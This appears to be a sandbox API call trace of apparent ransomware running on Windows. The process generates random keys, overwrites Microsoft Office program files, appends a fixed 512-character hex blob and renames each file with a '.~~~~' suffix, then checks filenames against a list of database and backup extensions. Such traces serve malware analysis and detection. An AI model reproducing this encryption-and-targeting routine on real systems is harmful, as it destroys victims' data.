	[0133.485] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css.~~~~")) returned 1
	[0133.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a7528 | out: hHeap=0x300000) returned 1
	[0133.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.487] GetLastError () returned 0x0
	[0133.491] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.492] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.492] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.492] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25348250859) returned 1
	[0133.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb9023650, dwHighDateTime=0x1d60e1e)) 
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28244b0
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28244b0 | out: hHeap=0x300000) returned 1
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9010
	[0133.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.493] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.493] GetLastError () returned 0x0
	[0133.494] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.494] GetLastError () returned 0x0
	[0133.538] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.538] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x272, lpOverlapped=0x0) returned 1
	[0133.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.540] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.540] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.541] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.541] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.541] CloseHandle (hObject=0x140) returned 1
	[0133.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8988
	[0133.541] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.~~~~")) returned 1
	[0133.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8988 | out: hHeap=0x300000) returned 1
	[0133.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.698] GetLastError () returned 0x0
	[0133.699] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.701] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.701] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.701] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25369124947) returned 1
	[0133.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb9238990, dwHighDateTime=0x1d60e1e)) 
	[0133.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824868
	[0133.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824868 | out: hHeap=0x300000) returned 1
	[0133.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0133.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.702] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.702] GetLastError () returned 0x0
	[0133.702] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.702] GetLastError () returned 0x0
	[0133.704] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.704] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0133.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0133.707] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.707] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.707] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.707] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.707] CloseHandle (hObject=0x140) returned 1
	[0133.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0133.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.~~~~")) returned 1
	[0133.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.710] GetLastError () returned 0x0
	[0133.847] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a10c0) returned 1
	[0133.848] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.848] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0133.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.848] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25383856678) returned 1
	[0133.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb938f5f0, dwHighDateTime=0x1d60e1e)) 
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28249b8
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28249b8 | out: hHeap=0x300000) returned 1
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0133.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.849] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.850] GetLastError () returned 0x0
	[0133.850] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.850] GetLastError () returned 0x0
	[0133.859] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff895, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.859] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x76b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x76b, lpOverlapped=0x0) returned 1
	[0133.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.861] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.861] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.861] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.861] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.862] CloseHandle (hObject=0x104) returned 1
	[0133.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4798
	[0133.862] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.~~~~")) returned 1
	[0133.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4798 | out: hHeap=0x300000) returned 1
	[0133.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.864] GetLastError () returned 0x0
	[0133.865] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1148) returned 1
	[0133.866] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.866] CryptReleaseContext (hProv=0x3a1148, dwFlags=0x0) returned 1
	[0133.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.867] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25385665551) returned 1
	[0133.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb93b5750, dwHighDateTime=0x1d60e1e)) 
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824a28
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824a28 | out: hHeap=0x300000) returned 1
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4798
	[0133.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.867] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.868] GetLastError () returned 0x0
	[0133.868] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.868] GetLastError () returned 0x0
	[0133.872] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.872] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.878] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.878] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.075] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.087] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.099] CloseHandle (hObject=0x104) returned 1
	[0134.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4830
	[0134.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.~~~~")) returned 1
	[0134.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4830 | out: hHeap=0x300000) returned 1
	[0134.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.101] GetLastError () returned 0x0
	[0134.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".sqb") returned 0x0
	[0134.290] lstrlenW (lpString=".ost") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".ost") returned 0x0
	[0134.290] lstrlenW (lpString=".txt") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".txt") returned 0x0
	[0134.290] lstrlenW (lpString=".mdt") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".mdt") returned 0x0
	[0134.290] lstrlenW (lpString=".BDB") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".BDB") returned 0x0
	[0134.290] lstrlenW (lpString=".eql") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".eql") returned 0x0
	[0134.290] lstrlenW (lpString=".DBF") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DBF") returned 0x0
	[0134.290] lstrlenW (lpString=".EQL") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".EQL") returned 0x0
	[0134.290] lstrlenW (lpString=".FDB") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".FDB") returned 0x0
	[0134.290] lstrlenW (lpString=".EDB") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".EDB") returned 0x0
	[0134.290] lstrlenW (lpString=".DACPAC") returned 7
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DACPAC") returned 0x0
	[0134.290] lstrlenW (lpString=".VHD") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".VHD") returned 0x0
	[0134.290] lstrlenW (lpString=".DBV") returned 4
	[0134.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DBV") returned 0x0
	[0134.290] lstrlenW (lpString=".dacpac") returned 7
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dacpac") returned 0x0
	[0134.291] lstrlenW (lpString=".sdf") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".sdf") returned 0x0
	[0134.291] lstrlenW (lpString=".accdb") returned 6
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".accdb") returned 0x0
	[0134.291] lstrlenW (lpString=".DBX") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DBX") returned 0x0
	[0134.291] lstrlenW (lpString=".MDT") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".MDT") returned 0x0
	[0134.291] lstrlenW (lpString=".SQB") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".SQB") returned 0x0
	[0134.291] lstrlenW (lpString=".vhd") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".vhd") returned 0x0
	[0134.291] lstrlenW (lpString=".bac") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".bac") returned 0x0
	[0134.291] lstrlenW (lpString=".mdf") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".mdf") returned 0x0
	[0134.291] lstrlenW (lpString=".BAK") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".BAK") returned 0x0
	[0134.291] lstrlenW (lpString=".BAC") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".BAC") returned 0x0
	[0134.291] lstrlenW (lpString=".dbs") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dbs") returned 0x0
